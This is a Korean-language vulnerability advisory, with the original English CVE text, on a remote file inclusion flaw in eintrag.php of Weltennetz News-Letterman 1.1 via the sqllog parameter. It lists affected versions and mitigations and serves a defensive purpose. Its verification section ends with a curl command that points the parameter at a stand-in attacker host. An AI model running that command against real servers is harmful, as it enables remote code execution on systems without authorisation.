🇰🇷 한글 설명
Weltennetz News-Letterman 1.1의 eintrag.php 파일에서 sqllog 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 공격자가 외부에서 악성 PHP 파일을 포함시켜 웹 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹 애플리케이션의 특정 기능이 인터넷에서 악의적인 프로그램 코드를 가져와 실행하도록 속을 수 있습니다. 공격자는 이를 이용해 웹 서버 전체를 장악하거나 데이터를 탈취할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in eintrag.php in Weltennetz News-Letterman 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the sqllog parameter.
📍 영향받는 시스템
Weltennetz News-Letterman 1.1 이하 버전
⚔️ 공격 벡터
HTTP GET/POST 요청으로 sqllog 파라미터에 원격 PHP 파일 URL 입력
🛡️ 대응 방법
최신 패치 버전으로 업그레이드 또는 입력 검증 강화 및 원격 파일 포함(allow_url_include) 비활성화
🔧 검증 코드
외부 URL 내용이 응답에 포함되면 취약점이 있으며, allow_url_include가 활성화되어 있고 입력 검증이 없는 상태를 의미합니다.
curl -s 'http://target/eintrag.php?sqllog=http://attacker.com/test.txt' 2>&1 | head -20